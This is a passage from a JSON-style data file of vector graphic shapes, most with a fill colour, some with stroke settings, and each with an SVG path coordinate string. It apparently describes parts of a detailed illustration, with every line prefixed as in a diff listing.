266.401C198.601 266.401 211.801 270.801 213.001 270.001C213.001 270.001 219.801 276.801 220.201 273.201C220.201 273.201 229.401 276.001 227.401 272.401C227.401 272.401 236.201 288.001 236.601 291.601L239.001 277.601L241.001 280.401C241.001 280.401 242.601 272.801 241.801 271.601C241.001 270.401 261.801 278.401 266.601 299.201L268.601 307.601C268.601 307.601 274.601 292.801 273.001 288.801C273.001 288.801 278.201 289.601 278.601 294.001C278.601 294.001 282.601 270.801 277.801 264.801C277.801 264.801 282.201 264.001 283.401 267.601L283.401 260.401C283.401 260.401 290.601 261.201 290.601 258.801C290.601 258.801 295.001 254.801 297.001 259.601C297.001 259.601 284.601 224.401 303.001 243.601C303.001 243.601 310.201 254.401 306.601 235.601C303.001 216.801 299.001 215.201 303.801 214.801C303.801 214.801 304.601 211.201 302.601 209.601C300.601 208.001 303.801 209.601 303.801 209.601C303.801 209.601 308.601 213.601 303.401 191.601C303.401 191.601 309.801 193.201 297.801 164.001C297.801 164.001 300.601 161.601 296.601 153.201C296.601 153.201 304.601 157.601 307.401 156.001C307.401 156.001 307.001 154.401 303.801 150.401C303.801 150.401 282.201 95.6 302.601 117.601C302.601 117.601 314.451 131.151 308.051 108.351C308.051 108.351 298.94 84.341 299.717 80.045L-129.83 103.065z"}
- ,
- {"fill": "#cc7226", "stroke":"#000000",
- "path":"M299.717 80.245C300.345 80.426 302.551 81.55 303.801 83.2C303.801 83.2 310.601 94 305.401 75.6C305.401 75.6 296.201 46.8 305.001 58C305.001 58 311.001 65.2 307.801 51.6C303.936 35.173 301.401 28.8 301.401 28.8C301.401 28.8 313.001 33.6 286.201 -6L295.001 -2.4C295.001 -2.4 275.401 -42 253.801 -47.2L245.801 -53.2C245.801 -53.2 284.201 -91.2 271.401 -128C271.401 -128 264.601 -133.2 255.001 -124C255.001 -124 248.601 -119.2 242.601 -120.8C242.601 -120.8 211.801 -119.6 209.801 -119.6C207.801 -119.6 173.001 -156.8 107.401 -139.2C107.401 -139.2 102.201 -137.2 97.801 -138.4C97.801 -138.4 79.4 -154.4 30.6 -131.6C30.6 -131.6 20.6 -129.6 19 -129.6C17.4 -129.6 14.6 -129.6 6.6 -123.2C-1.4 -116.8 -1.8 -116 -3.8 -114.4C-3.8 -114.4 -20.2 -103.2 -25 -102.4C-25 -102.4 -36.6 -96 -41 -86L-44.6 -84.8C-44.6 -84.8 -46.2 -77.6 -46.6 -76.4C-46.6 -76.4 -51.4 -72.8 -52.2 -67.2C-52.2 -67.2 -61 -61.2 -60.6 -56.8C-60.6 -56.8 -62.2 -51.6 -63 -46.8C-63 -46.8 -70.2 -42 -69.4 -39.2C-69.4 -39.2 -77 -25.2 -75.8 -18.4C-75.8 -18.4 -82.2 -18.8 -85 -16.4C-85 -16.4 -85.8 -11.6 -87.4 -11.2C-87.4 -11.2 -90.2 -10 -87.8 -6C-87.8 -6 -89.4 -3.2 -89.8 -1.6C-89.8 -1.6 -89 1.2 -93.4 6.8C-93.4 6.8 -99.8 25.6 -97.8 30.8C-97.8 30.8 -97.4 35.6 -100.2 37.2C-100.2 37.2 -103.8 36.8 -95.4 48.8C-95.4 48.8 -94.6 50 -97.8 52.4C-97.8 52.4 -115 56 -117.4 72.4C-117.4 72.4 -131 87.2 -131 92.4C-131 94.705 -130.729 97.852 -130.03 102.465C-130.03 102.465 -130.6 110.801 -103 111.601C-75.4 112.401 299.717 80.245 299.717 80.245z"}
- ,
- {"fill": "#cc7226",
- "path":"M-115.6 102.6C-140.6 63.2 -126.2 119.601 -126.2 119.601C-117.4 154.001 12.2 116.401 12.2 116.401C12.2 116.401 181.001 86 192.201 82C203.401 78 298.601 84.4 298.601 84.4L293.001 67.6C228.201 21.2 209.001 44.4 195.401 40.4C181.801 36.4 184.201 46 181.001 46.8C177.801 47.6 138.601 22.8 132.201 23.6C125.801 24.4 100.459 0.649 115.401 32.4C131.401 66.4 57 71.6 40.2 60.4C23.4 49.2 47.4 78.8 47.4 78.8C65.8 98.8 31.4 82 31.4 82C-3 69.2 -27 94.8 -30.2 95.6C-33.4 96.4 -38.2 99.6 -39 93.2C-39.8 86.8 -47.31 70.099 -79 96.4C-99 113.001 -112.8 91 -112.8 91L-115.6 102.6z"}
- ,
- {"fill": "#e87f3a",
- "path":"M133.51 25.346C127.11 26.146 101.743 2.407 116.71 34.146C133.31 69.346 58.31 73.346 41.51 62.146C24.709 50.946 48.71 80.546 48.71 80.546C67.11 100.546 32.709 83.746 32.709 83.746C-1.691 70.946 -25.691 96.546 -28.891 97.346C-32.091 98.146 -36.891 101.346 -37.691 94.946C-38.491 88.546 -45.87 72.012 -77.691 98.146C-98.927 115.492 -112.418 94.037 -112.418 94.037L-115.618 104.146C-140.618 64.346 -125.546 122.655 -125.546 122.655C-116.745 157.056 13.509 118.146 13.509 118.146C13.509 118.146 182.31 87.746 193.51 83.746C204.71 79.746 299.038 86.073 299.038 86.073L293.51 68.764C228.71 22.364 210.31 46.146 196.71 42.146C183.11 38.146 185.51 47.746 182.31 48.546C179.11 49.346 139.91 24.546 133.51 25.346z"}
- ,
- {"fill": "#ea8c4d",
- "path":"M134.819 27.091C128.419 27.891 103.685 3.862 118.019 35.891C134.219 72.092 59.619 75.092 42.819 63.892C26.019 52.692 50.019 82.292 50.019 82.292C68.419 102.292 34.019 85.492 34.019 85.492C-0.381 72.692 -24.382 98.292 -27.582 99.092C-30.782 99.892 -35.582 103.092 -36.382 96.692C-37.182 90.292 -44.43 73.925 -76.382 99.892C-98.855 117.983 -112.036 97.074 -112.036 97.074L-115.636 105.692C-139.436 66.692 -124.891 125.71 -124.891 125.71C-116.091 160.11 14.819 119.892 14.819 119.892C14.819 119.892 183.619 89.492 194.819 85.492C206.019 81.492 299.474 87.746 299.474 87.746L294.02 69.928C229.219 23.528 211.619 47.891 198.019 43.891C184.419 39.891 186.819 49.491 183.619 50.292C180.419 51.092 141.219 26.291 134.819 27.091z"}
- ,
- {"fill": "#ec9961",
- "path":"M136.128 28.837C129.728 29.637 104.999 5.605 119.328 37.637C136.128 75.193 60.394 76.482 44.128 65.637C27.328 54.437 51.328 84.037 51.328 84.037C69.728 104.037 35.328 87.237 35.328 87.237C0.928 74.437 -23.072 100.037 -26.272 100.837C-29.472 101.637 -34.272 104.837 -35.072 98.437C-35.872 92.037 -42.989 75.839 -75.073 101.637C-98.782 120.474 -111.655 100.11 -111.655 100.11L-115.655 107.237C-137.455 70.437 -124.236 128.765 -124.236 128.765C-115.436 163.165 16.128 121.637 16.128 121.637C16.128 121.637 184.928 91.237 196.129 87.237C207.329 83.237 299.911 89.419 299.911 89.419L294.529 71.092C229.729 24.691 212.929 49.637 199.329 45.637C185.728 41.637 188.128 51.237 184.928 52.037C181.728 52.837 142.528 28.037 136.128 28.837z"}
- ,
- {"fill": "#eea575",
- "path":"M137.438 30.583C131.037 31.383 106.814 7.129 120.637 39.383C137.438 78.583 62.237 78.583 45.437 67.383C28.637 56.183 52.637 85.783 52.637 85.783C71.037 105.783 36.637 88.983 36.637 88.983C2.237 76.183 -21.763 101.783 -24.963 102.583C-28.163 103.383 -32.963 106.583 -33.763 100.183C-34.563 93.783 -41.548 77.752 -73.763 103.383C-98.709 122.965 -111.273 103.146 -111.273 103.146L-115.673 108.783C-135.473 73.982 -123.582 131.819 -123.582 131.819C-114.782 166.22 17.437 123.383 17.437 123.383C17.437 123.383 186.238 92.983 197.438 88.983C208.638 84.983 300.347 91.092 300.347 91.092L295.038 72.255C230.238 25.855 214.238 51.383 200.638 47.383C187.038 43.383 189.438 52.983 186.238 53.783C183.038 54.583 143.838 29.783 137.438 30.583z"}
- ,
- {"fill": "#f1b288",
- "path":"M138.747 32.328C132.347 33.128 106.383 9.677 121.947 41.128C141.147 79.928 63.546 80.328 46.746 69.128C29.946 57.928 53.946 87.528 53.946 87.528C72.346 107.528 37.946 90.728 37.946 90.728C3.546 77.928 -20.454 103.528 -23.654 104.328C-26.854 105.128 -31.654 108.328 -32.454 101.928C-33.254 95.528 -40.108 79.665 -72.454 105.128C-98.636 125.456 -110.891 106.183 -110.891 106.183L-115.691 110.328C-133.691 77.128 -122.927 134.874 -122.927 134.874C-114.127 169.274 18.746 125.128 18.746 125.128C18.746 125.128 187.547 94.728 198.747 90.728C209.947 86.728 300.783 92.764 300.783 92.764L295.547 73.419C230.747 27.019 215.547 53.128 201.947 49.128C188.347 45.128 190.747 54.728 187.547 55.528C184.347 56.328 145.147 31.528 138.747 32.328z"}
- ,
- {"fill": "#f3bf9c",
- "path":"M140.056 34.073C133.655 34.873 107.313 11.613 123.255 42.873C143.656 82.874 64.855 82.074 48.055 70.874C31.255 59.674 55.255 89.274 55.255 89.274C73.655 109.274 39.255 92.474 39.255 92.474C4.855 79.674 -19.145 105.274 -22.345 106.074C-25.545 106.874 -30.345 110.074 -31.145 103.674C-31.945 97.274 -38.668 81.578 -71.145 106.874C-98.564 127.947 -110.509 109.219 -110.509 109.219L-115.709 111.874C-131.709 81.674 -122.273 137.929 -122.273 137.929C-113.473 172.329 20.055 126.874 20.055 126.874C20.055 126.874 188.856 96.474 200.056 92.474C211.256 88.474 301.22 94.437 301.22 94.437L296.056 74.583C231.256 28.183 216.856 54.874 203.256 50.874C189.656 46.873 192.056 56.474 188.856 57.274C185.656 58.074 146.456 33.273 140.056 34.073z"}
- ,
- {"fill": "#f5ccb0",
- "path":"M141.365 35.819C134.965 36.619 107.523 13.944 124.565 44.619C146.565 84.219 66.164 83.819 49.364 72.619C32.564 61.419 56.564 91.019 56.564 91.019C74.964 111.019 40.564 94.219 40.564 94.219C6.164 81.419 -17.836 107.019 -21.036 107.819C-24.236 108.619 -29.036 111.819 -29.836 105.419C-30.636 99.019 -37.227 83.492 -69.836 108.619C-98.491 130.438 -110.127 112.256 -110.127 112.256L-115.727 113.419C-130.128 85.019 -121.618 140.983 -121.618 140.983C-112.818 175.384 21.364 128.619 21.364 128.619C21.364 128.619 190.165 98.219 201.365 94.219C212.565 90.219 301.656 96.11 301.656 96.11L296.565 75.746C231.765 29.346 218.165 56.619 204.565 52.619C190.965 48.619 193.365 58.219 190.165 59.019C186.965 59.819 147.765 35.019 141.365 35.819z"}
- ,
- {"fill": "#f8d8c4",
- "path":"M142.674 37.565C136.274 38.365 108.832 15.689 125.874 46.365C147.874 85.965 67.474 85.565 50.674 74.365C33.874 63.165 57.874 92.765 57.874 92.765C76.274 112.765 41.874 95.965 41.874 95.965C7.473 83.165 -16.527 108.765 -19.727 109.565C-22.927 110.365 -27.727 113.565 -28.527 107.165C-29.327 100.765 -35.786 85.405 -68.527 110.365C-98.418 132.929 -109.745 115.293 -109.745 115.293L-115.745 114.965C-129.346 88.564 -120.963 144.038 -120.963 144.038C-112.163 178.438 22.673 130.365 22.673 130.365C22.673 130.365 191.474 99.965 202.674 95.965C213.874 91.965 302.093 97.783 302.093 97.783L297.075 76.91C232.274 30.51 219.474 58.365 205.874 54.365C192.274 50.365 194.674 59.965 191.474 60.765C188.274 61.565 149.074 36.765 142.674 37.565z"}
- ,
- {"fill": "#fae5d7",
- "path":"M143.983 39.31C137.583 40.11 110.529 17.223 127.183 48.11C149.183 88.91 68.783 87.31 51.983 76.11C35.183 64.91 59.183 94.51 59.183 94.51C77.583 114.51 43.183 97.71 43.183 97.71C8.783 84.91 -15.217 110.51 -18.417 111.31C-21.618 112.11 -26.418 115.31 -27.218 108.91C-28.018 102.51 -34.346 87.318 -67.218 112.11C-98.345 135.42 -109.363 118.329 -109.363 118.329L-115.764 116.51C-128.764 92.51 -120.309 147.093 -120.309 147.093C-111.509 181.493 23.983 132.11 23.983 132.11C23.983 132.11 192.783 101.71 203.983 97.71C215.183 93.71 302.529 99.456 302.529 99.456L297.583 78.074C232.783 31.673 220.783 60.11 207.183 56.11C193.583 52.11 195.983 61.71 192.783 62.51C189.583 63.31 150.383 38.51 143.983 39.31z"}
- ,
- {"fill": "#fcf2eb",
- "path":"M145.292 41.055C138.892 41.855 112.917 18.411 128.492 49.855C149.692 92.656 70.092 89.056 53.292 77.856C36.492 66.656 60.492 96.256 60.492 96.256C78.892 116.256 44.492 99.456 44.492 99.456C10.092 86.656 -13.908 112.256 -17.108 113.056C-20.308 113.856 -25.108 117.056 -25.908 110.656C-26.708 104.256 -32.905 89.232 -65.908 113.856C-98.273 137.911 -108.982 121.365 -108.982 121.365L-115.782 118.056C-128.582 94.856 -119.654 150.147 -119.654 150.147C-110.854 184.547 25.292 133.856 25.292 133.856C25.292 133.856 194.093 103.456 205.293 99.456C216.493 95.456 302.965 101.128 302.965 101.128L298.093 79.237C233.292 32.837 222.093 61.856 208.493 57.856C194.893 53.855 197.293 63.456 194.093 64.256C190.892 65.056 151.692 40.255 145.292 41.055z"}
- ,
- {"fill": "#ffffff",
- "path":"M-115.8 119.601C-128.6 97.6 -119 153.201 -119 153.201C-110.2 187.601 26.6 135.601 26.6 135.601C26.6 135.601 195.401 105.2 206.601 101.2C217.801 97.2 303.401 102.8 303.401 102.8L298.601 80.4C233.801 34 223.401 63.6 209.801 59.6C196.201 55.6 198.601 65.2 195.401 66C192.201 66.8 153.001 42 146.601 42.8C140.201 43.6 114.981 19.793 129.801 51.6C152.028 99.307 69.041 89.227 54.6 79.6C37.8 68.4 61.8 98 61.8 98C80.2 118.001 45.8 101.2 45.8 101.2C11.4 88.4 -12.6 114.001 -15.8 114.801C-19 115.601 -23.8 118.801 -24.6 112.401C-25.4 106 -31.465 91.144 -64.6 115.601C-98.2 140.401 -108.6 124.401 -108.6 124.401L-115.8 119.601z"}
- ,
- {"fill": "#000000",
- "path":"M-74.2 149.601C-74.2 149.601 -81.4 161.201 -60.6 174.401C-60.6 174.401 -59.2 175.801 -77.2 171.601C-77.2 171.601 -83.4 169.601 -85 159.201C-85 159.201 -89.8 154.801 -94.6 149.201C-99.4 143.601 -74.2 149.601 -74.2 149.601z"}
- ,
- {"fill": "#cccccc",
- "path":"M65.8 102C65.8 102 83.498 128.821 82.9 133.601C81.6 144.001 81.4 153.601 84.6 157.601C87.801 161.601 96.601 194.801 96.601 194.801C96.601 194.801 96.201 196.001 108.601 158.001C108.601 158.001 120.201 142.001 100.201 123.601C100.201 123.601 65 94.8 65.8 102z"}
- ,
- {"fill": "#000000",
- "path":"M-54.2 176.401C-54.2 176.401 -43 183.601 -57.4 214.801L-51 212.401C-51 212.401 -51.8 223.601 -55 226.001L-47.8 222.801C-47.8 222.801 -43 230.801 -47 235.601C-47 235.601 -30.2 243.601 -31 250.001C-31 250.001 -24.6 242.001 -28.6 235.601C-32.6 229.201 -39.8 233.201 -39 214.801L-47.8 218.001C-47.8 218.001 -42.2 209.201 -42.2 202.801L-50.2 205.201C-50.2 205.201 -34.731 178.623 -45.4 177.201C-51.4 176.401 -54.2 176.401 -54.2 176.401z"}
- ,
- {"fill": "#cccccc",
- "path":"M-21.8 193.201C-21.8 193.201 -19 188.801 -21.8 189.601C-24.6 190.401 -55.8 205.201 -61.8 214.801C-61.8 214.801 -27.4 190.401 -21.8 193.201z"}
- ,
- {"fill": "#cccccc",
- "path":"M-11.4 201.201C-11.4 201.201 -8.6 196.801 -11.4 197.601C-14.2 198.401 -45.4 213.201 -51.4 222.801C-51.4 222.801 -17 198.401 -11.4 201.201z"}
- ,
- {"fill": "#cccccc",
- "path":"M1.8 186.001C1.8 186.001 4.6 181.601 1.8 182.401C-1 183.201 -32.2 198.001 -38.2 207.601C-38.2 207.601 -3.8 183.201 1.8 186.001z"}
- ,
- {"fill": "#cccccc",
- "path":"M-21.4 229.601C-21.4 229.601 -21.4 223.601 -24.2 224.401C-27 225.201 -63 242.801 -69 252.401C-69 252.401 -27 226.801 -21.4 229.601z"}
- ,
- {"fill": "#cccccc",
- "path":"M-20.2 218.801C-20.2 218.801 -19 214.001 -21.8 214.801C-23.8 214.801 -50.2 226.401 -56.2 236.001C-56.2 236.001 -26.6 214.401 -20.2 218.801z"}
- ,
- {"fill": "#cccccc",
- "path":"M-34.6 266.401L-44.6 274.001C-44.6 274.001 -34.2 266.401 -30.6 267.601C-30.6 267.601 -37.4 278.801 -38.2 284.001C-38.2 284.001 -27.8 271.201 -22.2 271.601C-22.2 271.601 -14.6 272.001 -14.6 282.801C-14.6 282.801 -9 272.401 -5.8 272.801C-5.8 272.801 -4.6 279.201 -5.8 286.001C-5.8 286.001 -1.8 278.401 2.2 280.001C2.2 280.001 8.6 278.001 7.8 289.601C7.8 289.601 7.8 300.001 7 302.801C7 302.801 12.6 276.401 15 276.001C15 276.001 23 274.801 27.8 283.601C27.8 283.601 23.8 276.001 28.6 278.001C28.6 278.001 39.4 279.601 42.6 286.401C42.6 286.401 35.8 274.401 41.4 277.601C41.4 277.601 48.2 277.601 49.4 284.001C49.4 284.001 57.8 305.201 59.8 306.801C59.8 306.801 52.2 285.201 53.8 285.201C53.8 285.201 51.8 273.201 57 288.001C57 288.001 53.8 274.001 59.4 274.801C65 275.601 69.4 285.601 77.8 283.201C77.8 283.201 87.401 288.801 89.401 219.601L-34.6 266.401z"}
- ,
- {"fill": "#000000",
- "path":"M-29.8 173.601C-29.8 173.601 -15 167.601 25 173.601C25 173.601 32.2 174.001 39 165.201C45.8 156.401 72.6 149.201 79 151.201L88.601 157.601L89.401 158.801C89.401 158.801 101.801 169.201 102.201 176.801C102.601 184.401 87.801 232.401 78.2 248.401C68.6 264.401 59 276.801 39.8 274.401C39.8 274.401 19 270.401 -6.6 274.401C-6.6 274.401 -35.8 272.801 -38.6 264.801C-41.4 256.801 -27.4 241.601 -27.4 241.601C-27.4 241.601 -23 233.201 -24.2 218.801C-25.4 204.401 -25 176.401 -29.8 173.601z"}
- ,
- {"fill": "#e5668c",
- "path":"M-7.8 175.601C0.6 194.001 -29 259.201 -29 259.201C-31 260.801 -16.34 266.846 -6.2 264.401C4.746 261.763 45 266.001 45 266.001C68.6 250.401 81.4 206.001 81.4 206.001C81.4 206.001 91.801 182.001 74.2 178.801C56.6 175.601 -7.8 175.601 -7.8 175.601z"}
- ,
- {"fill": "#b23259",
- "path":"M-9.831 206.497C-6.505 193.707 -4.921 181.906 -7.8 175.601C-7.8 175.601 54.6 182.001 65.8 161.201C70.041 153.326 84.801 184.001 84.4 193.601C84.4 193.601 21.4 208.001 6.6 196.801L-9.831 206.497z"}
- ,
- {"fill": "#a5264c",
- "path":"M-5.4 222.801C-5.4 222.801 -3.4 230.001 -5.8 234.001C-5.8 234.001 -7.4 234.801 -8.6 235.201C-8.6 235.201 -7.4 238.801 -1.4 240.401C-1.4 240.401 0.6 244.801 3 245.201C5.4 245.601 10.2 251.201 14.2 250.001C18.2 248.801 29.4 244.801 29.4 244.801C29.4 244.801 35 241.601 43.8 245.201C43.8 245.201 46.175 244.399 46.6 240.401C47.1 235.701 50.2 232.001 52.2 230.001C54.2 228.001 63.8 215.201 62.6 214.801C61.4 214.401 -5.4 222.801 -5.4 222.801z"}
- ,
- {"fill": "#ff727f", "stroke":"#000000",
- "path":"M-9.8 174.401C-9.8 174.401 -12.6 196.801 -9.4 205.201C-6.2 213.601 -7 215.601 -7.8 219.601C-8.6 223.601 -4.2 233.601 1.4 239.601L13.4 241.201C13.4 241.201 28.6 237.601 37.8 240.401C37.8 240.401 46.794 241.744 50.2 226.801C50.2 226.801 55 220.401 62.2 217.601C69.4 214.801 76.6 173.201 72.6 165.201C68.6 157.201 54.2 152.801 38.2 168.401C22.2 184.001 20.2 167.201 -9.8 174.401z"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M-8.2 249.201C-8.2 249.201 -9 247.201 -13.4 246.801C-13.4 246.801 -35.8 243.201 -44.2 230.801C-44.2 230.801 -51 225.201 -46.6 236.801C-46.6 236.801 -36.2 257.201 -29.4 260.001C-29.4 260.001 -13 264.001 -8.2 249.201z"}
- ,
- {"fill": "#cc3f4c",
- "path":"M71.742 185.229C72.401 177.323 74.354 168.709 72.6 165.201C66.154 152.307 49.181 157.695 38.2 168.401C22.2 184.001 20.2 167.201 -9.8 174.401C-9.8 174.401 -11.545 188.364 -10.705 198.376C-10.705 198.376 26.6 186.801 27.4 192.401C27.4 192.401 29 189.201 38.2 189.201C47.4 189.201 70.142 188.029 71.742 185.229z"}
- ,
- {"stroke":"#a51926", "width":2,
- "path":"M28.6 175.201C28.6 175.201 33.4 180.001 29.8 189.601C29.8 189.601 15.4 205.601 17.4 219.601"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M-19.4 260.001C-19.4 260.001 -23.8 247.201 -15 254.001C-15 254.001 -10.2 256.001 -11.4 257.601C-12.6 259.201 -18.2 263.201 -19.4 260.001z"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M-14.36 261.201C-14.36 261.201 -17.88 250.961 -10.84 256.401C-10.84 256.401 -6.419 258.849 -7.96 259.281C-12.52 260.561 -7.96 263.121 -14.36 261.201z"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M-9.56 261.201C-9.56 261.201 -13.08 250.961 -6.04 256.401C-6.04 256.401 -1.665 258.711 -3.16 259.281C-6.52 260.561 -3.16 263.121 -9.56 261.201z"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M-2.96 261.401C-2.96 261.401 -6.48 251.161 0.56 256.601C0.56 256.601 4.943 258.933 3.441 259.481C0.48 260.561 3.441 263.321 -2.96 261.401z"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M3.52 261.321C3.52 261.321 0 251.081 7.041 256.521C7.041 256.521 10.881 258.121 9.921 259.401C8.961 260.681 9.921 263.241 3.52 261.321z"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M10.2 262.001C10.2 262.001 5.4 249.601 14.6 256.001C14.6 256.001 19.4 258.001 18.2 259.601C17 261.201 18.2 264.401 10.2 262.001z"}
- ,
- {"stroke":"#a5264c", "width":2,
- "path":"M-18.2 244.801C-18.2 244.801 -5 242.001 1 245.201C1 245.201 7 246.401 8.2 246.001C9.4 245.601 12.6 245.201 12.6 245.201"}
- ,
- {"stroke":"#a5264c", "width":2,
- "path":"M15.8 253.601C15.8 253.601 27.8 240.001 39.8 244.401C46.816 246.974 45.8 243.601 46.6 240.801C47.4 238.001 47.6 233.801 52.6 230.801"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M33 237.601C33 237.601 29 226.801 26.2 239.601C23.4 252.401 20.2 256.001 18.6 258.801C18.6 258.801 18.6 264.001 27 263.601C27 263.601 37.8 263.201 38.2 260.401C38.6 257.601 37 246.001 33 237.601z"}
- ,
- {"stroke":"#a5264c", "width":2,
- "path":"M47 244.801C47 244.801 50.6 242.401 53 243.601"}
- ,
- {"stroke":"#a5264c", "width":2,
- "path":"M53.5 228.401C53.5 228.401 56.4 223.501 61.2 222.701"}
- ,
- {"fill": "#b2b2b2",
- "path":"M-25.8 265.201C-25.8 265.201 -7.8 268.401 -3.4 266.801C-3.4 266.801 5.4 266.801 -3 268.801C-3 268.801 -15.8 268.801 -23.8 267.601C-23.8 267.601 -35.4 262.001 -25.8 265.201z"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M-11.8 172.001C-11.8 172.001 5.8 172.001 7.8 172.801C7.8 172.801 15 203.601 11.4 211.201C11.4 211.201 10.2 214.001 7.4 208.401C7.4 208.401 -11 175.601 -14.2 173.601C-17.4 171.601 -13 172.001 -11.8 172.001z"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M-88.9 169.301C-88.9 169.301 -80 171.001 -67.4 173.601C-67.4 173.601 -62.6 196.001 -59.4 200.801C-56.2 205.601 -59.8 205.601 -63.4 202.801C-67 200.001 -81.8 186.001 -83.8 181.601C-85.8 177.201 -88.9 169.301 -88.9 169.301z"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M-67.039 173.818C-67.039 173.818 -61.239 175.366 -60.23 177.581C-59.222 179.795 -61.432 183.092 -61.432 183.092C-61.432 183.092 -62.432 186.397 -63.634 184.235C-64.836 182.072 -67.708 174.412 -67.039 173.818z"}
- ,
- {"fill": "#000000",
- "path":"M-67 173.601C-67 173.601 -63.4 178.801 -59.8 178.801C-56.2 178.801 -55.818 178.388 -53 179.001C-48.4 180.001 -48.8 178.001 -42.2 179.201C-39.56 179.681 -37 178.801 -34.2 180.001C-31.4 181.201 -28.2 180.401 -27 178.401C-25.8 176.401 -21 172.201 -21 172.201C-21 172.201 -33.8 174.001 -36.6 174.801C-36.6 174.801 -59 176.001 -67 173.601z"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M-22.4 173.801C-22.4 173.801 -28.85 177.301 -29.25 179.701C-29.65 182.101 -24 185.801 -24 185.801C-24 185.801 -21.25 190.401 -20.65 188.001C-20.05 185.601 -21.6 174.201 -22.4 173.801z"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M-59.885 179.265C-59.885 179.265 -52.878 190.453 -52.661 179.242C-52.661 179.242 -52.104 177.984 -53.864 177.962C-59.939 177.886 -58.418 173.784 -59.885 179.265z"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M-52.707 179.514C-52.707 179.514 -44.786 190.701 -45.422 179.421C-45.422 179.421 -45.415 179.089 -47.168 178.936C-51.915 178.522 -51.57 174.004 -52.707 179.514z"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M-45.494 179.522C-45.494 179.522 -37.534 190.15 -38.203 180.484C-38.203 180.484 -38.084 179.251 -39.738 178.95C-43.63 178.244 -43.841 174.995 -45.494 179.522z"}
- ,
- {"fill": "#ffffcc", "stroke":"#000000", "width":0.5,
- "path":"M-38.618 179.602C-38.618 179.602 -30.718 191.163 -30.37 181.382C-30.37 181.382 -28.726 180.004 -30.472 179.782C-36.29 179.042 -35.492 174.588 -38.618 179.602z"}
- ,
- {"fill": "#e5e5b2",
- "path":"M-74.792 183.132L-82.45 181.601C-85.05 176.601 -87.15 170.451 -87.15 170.451C-87.15 170.451 -80.8 171.451 -68.3 174.251C-68.3 174.251 -67.424 177.569 -65.952 183.364L-74.792 183.132z"}
- ,
- {"fill": "#e5e5b2",
- "path":"M-9.724 178.47C-11.39 175.964 -12.707 174.206 -13.357 173.8C-16.37 171.917 -12.227 172.294 -11.098 172.294C-11.098 172.294 5.473 172.294 7.356 173.047C7.356 173.047 7.88 175.289 8.564 178.68C8.564 178.68 -1.524 176.67 -9.724 178.47z"}
- ,
- {"fill": "#cc7226",
- "path":"M43.88 40.321C71.601 44.281 97.121 8.641 98.881 -1.04C100.641 -10.72 90.521 -22.6 90.521 -22.6C91.841 -25.68 87.001 -39.76 81.721 -49C76.441 -58.24 60.54 -57.266 43 -58.24C27.16 -59.12 8.68 -35.8 7.36 -34.04C6.04 -32.28 12.2 6.001 13.52 11.721C14.84 17.441 12.2 43.841 12.2 43.841C46.44 34.741 16.16 36.361 43.88 40.321z"}
- ,
- {"fill": "#ea8e51",
- "path":"M8.088 -33.392C6.792 -31.664 12.84 5.921 14.136 11.537C15.432 17.153 12.84 43.073 12.84 43.073C45.512 34.193 16.728 35.729 43.944 39.617C71.161 43.505 96.217 8.513 97.945 -0.992C99.673 -10.496 89.737 -22.16 89.737 -22.16C91.033 -25.184 86.281 -39.008 81.097 -48.08C75.913 -57.152 60.302 -56.195 43.08 -57.152C27.528 -58.016 9.384 -35.12 8.088 -33.392z"}
- ,
- {"fill": "#efaa7c",
- "path":"M8.816 -32.744C7.544 -31.048 13.48 5.841 14.752 11.353C16.024 16.865 13.48 42.305 13.48 42.305C44.884 33.145 17.296 35.097 44.008 38.913C70.721 42.729 95.313 8.385 97.009 -0.944C98.705 -10.272 88.953 -21.72 88.953 -21.72C90.225 -24.688 85.561 -38.256 80.473 -47.16C75.385 -56.064 60.063 -55.125 43.16 -56.064C27.896 -56.912 10.088 -34.44 8.816 -32.744z"}
- ,
- {"fill": "#f4c6a8",
- "path":"M9.544 -32.096C8.296 -30.432 14.12 5.761 15.368 11.169C16.616 16.577 14.12 41.537 14.12 41.537C43.556 32.497 17.864 34.465 44.072 38.209C70.281 41.953 94.409 8.257 96.073 -0.895C97.737 -10.048 88.169 -21.28 88.169 -21.28C89.417 -24.192 84.841 -37.504 79.849 -46.24C74.857 -54.976 59.824 -54.055 43.24 -54.976C28.264 -55.808 10.792 -33.76 9.544 -32.096z"}
- ,
- {"fill": "#f9e2d3",
- "path":"M10.272 -31.448C9.048 -29.816 14.76 5.681 15.984 10.985C17.208 16.289 14.76 40.769 14.76 40.769C42.628 31.849 18.432 33.833 44.136 37.505C69.841 41.177 93.505 8.129 95.137 -0.848C96.769 -9.824 87.385 -20.84 87.385 -20.84C88.609 -23.696 84.121 -36.752 79.225 -45.32C74.329 -53.888 59.585 -52.985 43.32 -53.888C28.632 -54.704 11.496 -33.08 10.272 -31.448z"}
- ,
- {"fill": "#ffffff",
- "path":"M44.2 36.8C69.4 40.4 92.601 8 94.201 -0.8C95.801 -9.6 86.601 -20.4 86.601 -20.4C87.801 -23.2 83.4 -36 78.6 -44.4C73.8 -52.8 59.346 -51.914 43.4 -52.8C29 -53.6 12.2 -32.4 11 -30.8C9.8 -29.2 15.4 5.6 16.6 10.8C17.8 16 15.4 40 15.4 40C40.9 31.4 19 33.2 44.2 36.8z"}
- ,
- {"fill": "#cccccc",
- "path":"M90.601 2.8C90.601 2.8 62.8 10.4 51.2 8.8C51.2 8.8 35.4 2.2 26.6 24C26.6 24 23 31.2 21 33.2C19 35.2 90.601 2.8 90.601 2.8z"}
- ,
